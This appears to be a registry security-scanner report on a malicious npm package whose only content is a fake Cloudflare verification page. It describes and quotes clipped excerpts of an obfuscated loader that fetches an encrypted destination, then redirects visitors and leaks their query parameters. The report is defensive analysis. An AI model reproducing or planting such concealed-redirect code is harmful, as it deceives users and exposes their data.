registry / @worrisome/reutil / 1.0.0

@worrisome/reutil@1.0.0

AI Security Review

scanned 1d ago · by lpm-firewall-ai

Opening the package entry HTML triggers an obfuscated remote-controlled redirect chain. The destination is decrypted at runtime and the current page query parameters are propagated.

Static reason

One or more suspicious static signals were detected.

Trigger

A browser opens or renders index.html.

Impact

Can send a visitor to a concealed remote destination and disclose URL query parameters to it.

Mechanism

Obfuscated fetch, AES decryption, and browser redirect.

Attack narrative

The package presents a fake verification page, then automatically fetches a remotely controlled encrypted value. It decrypts that value into a destination URL, copies current query parameters into it, and redirects the browser. The obfuscation and hidden destination prevent users from assessing where they are sent or what parameters are disclosed.

Rationale

This package has no library functionality: its sole entrypoint is a fake verification HTML page with an automatic, remote-controlled concealed redirect. That is concrete malicious browser-delivery behavior, not a package-aligned feature.

Evidence

package.jsonindex.html

Decision evidence

public snapshot

AI called this Malicious at 97.0% confidence as Malware with low false-positive risk.

Evidence for block

Manifest exposes only an HTML page as the package entrypoint.
The page automatically starts a heavily obfuscated routine after one second.
The routine sends an obfuscated host key in a fetch request and decrypts a server-supplied value with AES-CTR.
It constructs a destination URL, copies page query parameters, and redirects the browser; the remote destination is concealed.

Evidence against

No npm lifecycle scripts are declared.
No package filesystem, process, or native/binary operations were found.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chain

HighEntropyStringsMinifiedPossibleObfuscation

Manifest

NoLicense

scanned 1 file(s), 36.1 KB of source

Source & flagged code

5 flagged

index.htmlView file

Lines 214-239html

214 Performance and Security by

215 <a rel="noopener noreferrer" href="https://www.cloudflare.com/?utm_source=challenge&utm_campaign=m" target="_blank">Cloudflare</a>

216 </span>

217 <span class="footer-divider"></span>

218 <a id="privacy-link" target="_blank" rel="noopener noreferrer" href="https://www.cloudflare.com/privacypolicy/" class="footer-text">Privacy</a>

219 </div>

220 </div>

221 </div>

222</div>

223<script>

224 (function () {

225 function generateRayId() {

226 const chars = '0123456789abcdef';

227 let result = '';

228 for (let i = 0; i < 16; i++) result += chars[Math.floor(Math.random() * 16)];

229 return result;

230 }

231 document.getElementById('dynamic-ray-id').textContent = generateRayId();

232 })();

233

234 setTimeout(function () {

235 (function(_0x237136,_0xf45099){const _0x56043b={_0x33a63a:0x223,_0x6f27a4:0x234,_0x507822:0x225,_0x49c341:0x299,_0x1cc30d:0x270,_0x482c46:0x262,_0x4ef96f:0x273,_0x254e24:0x1fc,_0x49d70c:0x22b,_0x68911e:0xec,_0xc27ca2:0xec,_0x253580:0xb5,_0x297e54:0x57,_0xda30fa:0x57,_0x28bee4:0xb7,_0x4b1237:0x86,_0x419442:0x248,_0x5c6749:0x247,_0x4f9be5:0xa5,_0x483412:0xaa,_0x13d8d0:0xda,_0x173fd6:0x62,_0x22670e:0x61,_0x435354:0x67,_0x47cda9:0x8e,_0x5f1f0a:0xb5,_0x53717e:0x8c},_0x38b2df={_0x4bb8a9:0x205},_0x6555c6={_0x416ce7:0xfe},_0x3f1e84=_0x237136();function _0x13036b(_0x1e4996,_0x4c60ec,_0x5c1fa4,_ ...

High

Ai Review Evidence

The page automatically starts a heavily obfuscated routine after one second.

index.htmlView on unpkg · L234

High

Ai Review Evidence

The routine sends an obfuscated host key in a fetch request and decrypts a server-supplied value with AES-CTR.

index.htmlView on unpkg · L235

High

Ai Review Evidence

It constructs a destination URL, copies page query parameters, and redirects the browser; the remote destination is concealed.

index.htmlView on unpkg · L235

236 }, 1000);

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

index.htmlView on unpkg · L234

237</script>

238</body>

239</html>

Long lines were clipped for display.

package.jsonView file

Lines 1-9json

2 "name": "@worrisome/reutil",

3 "version": "1.0.0",

4 "main": "index.html",

5 "files": [

6 "index.html"

Source & flagged code

5 flagged · loading source

index.htmlView file

234setTimeout(function () { L235: (function(_0x237136,_0xf45099){const _0x56043b={_0x33a63a:0x223,_0x6f27a4:0x234,_0x507822:0x225,_0x49c341:0x299,_0x1cc30d:0x270,_0x482c46:0x262,_0x4ef96f:0x273,_0x254e24:0x1fc,_0x4... L236: }, 1000);

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

index.htmlView on unpkg · L234

234setTimeout(function () { (function(_0x237136,_0xf45099){

High

Ai Review Evidence

The page automatically starts a heavily obfuscated routine after one second.

index.htmlView on unpkg · L234

235const _0x4c1623={};_0x4c1623['key']=hostKey;const _0x1a1336=await

High

Ai Review Evidence

The routine sends an obfuscated host key in a fetch request and decrypts a server-supplied value with AES-CTR.

index.htmlView on unpkg · L235

235new URLSearchParams(window[

Findings

5 High1 Medium2 Low

HighObfuscated Payload Loaderindex.html

HighAi Review Evidencepackage.json

HighAi Review Evidenceindex.html

MediumStructural Risk Force Deep Review

LowHigh Entropy Strings

LowNo License